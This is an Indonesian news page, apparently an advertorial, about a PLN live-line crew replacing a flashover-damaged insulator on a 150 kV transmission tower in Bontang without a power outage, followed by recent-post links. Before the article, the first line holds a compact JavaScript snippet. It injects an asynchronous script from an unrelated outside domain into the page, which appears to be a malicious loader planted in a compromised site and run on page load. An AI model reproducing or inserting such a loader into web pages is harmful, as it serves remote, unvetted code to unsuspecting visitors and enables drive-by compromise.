(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PLN UIP3B KALIMANTAN

Tim PDKB Ganti Isolator Tanpa Padam di Bontang


KANALKALIMANTAN.COM, BONTANG – Tim Pekerjaan Dalam Keadaan Bertegangan (PDKB) Unit Pelaksana Transmisi (UPT) Balikpapan melakukan penggantian isolator yang mengalami flashover pada tower 16 Line Transmisi Teluk Pandan-Sangatta, Bontang, Kalimantan Timur, pada Selasa (12/11/2024).

Dhany Priatna, Manager UPT Balikpapan menjelaskan flashover sendiri adalah kondisi terjadinya lonjakan arus listrik yang menyebabkan isolator pada jaringan transmisi rusak dan berisiko mengganggu pasokan listrik. Karena itu dengan mengusung semangat Hari Pahlawan, tim PDKB segera melakukan upaya perbaikan tanpa padam untuk meminimalisir potensi gangguan yang terjadi.

“Pekerjaan tanpa padam ini menuntut konsentrasi dan mental yang kuat seperti kegigihan para pahlawan nasional kita, karena harus berdampingan dengan tegangan tinggi 150 kilo Volt (kV) yang bisa mengancam nyawa,” ungkap Dhany.

Dhany menjelaskan, pekerjaan tanpa padam yang memakan waktu 2 jam ini hanya boleh dilakukan petugas PDKB yang berkompeten dan bersertifikasi, karena selain mengancam nyawa juga dapat mengganggu penyaluran listrik ke pelanggan, apabila tidak hati-hati dalam proses pekerjaannya.

Baca juga: Sah! Lisa Halaby-Wartono Pemenang Pilwali Banjarbaru

“Selain lima petugas PDKB yang bertugas, pekerjaan ini juga diawasi oleh 1 satu pengawas pekerjaan dan 1 satu pengawas Keselamatan dan Kesehatan Kerja (K3) untuk memastikan pekerjaan sesuai Standar Operasional Pekerjaan (SOP) yang berlaku,” jelas Dhany.

Abdul Salam Nganro, General Manager PLN Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan mengapresiasi kesigapan para pejuang keandalan UPT Balikpapan dalam mengatasi permasalahan isolator yang rusak akibat flashover tersebut.

Petugas PDKB memanjat tower 16 Line Transmisi Teluk Pandan-Sangatta, Bontang. Foto: pln

“Meskipun dengan risiko yang tinggi, tim UPT Balikpapan berhasil menyelesaikan perbaikan tersebut tanpa mengindahkan ketentuan dan SOP yang berlaku sehingga pekerjaan dapat selesai tanpa adanya anomali lain yang terjadi,” jelas Salam.

Baca juga: Pelatihan P3PD di Kalsel, Kemendagri Ingin Dana Desa Dikelola Secara Baik

Dedikasi tim UPT Balikpapan melakukan pekerjaan dalam keadaan bertegangan merupakan wujud komitmen PLN yang berorientasi pada kepuasan pelanggan, sehingga secara optimal mengupayakan pekerjaan yang tidak menimbulkan padam di sisi pelanggan.

“Kami akan terus berinovasi dan berupaya untuk memastikan keandalan listrik ke pelanggan terus terjaga sehingga masa depan Indonesia Emas yang diperjuangkan oleh para pahlawan yang mendahului kita dapat terwujud,” pungkasnya. (Kanalkalimantan.com/adv)

Reporter : adv
Editor : kk


Risa

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

6 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

8 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

13 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

16 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

18 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

1 hari ago

This website uses cookies.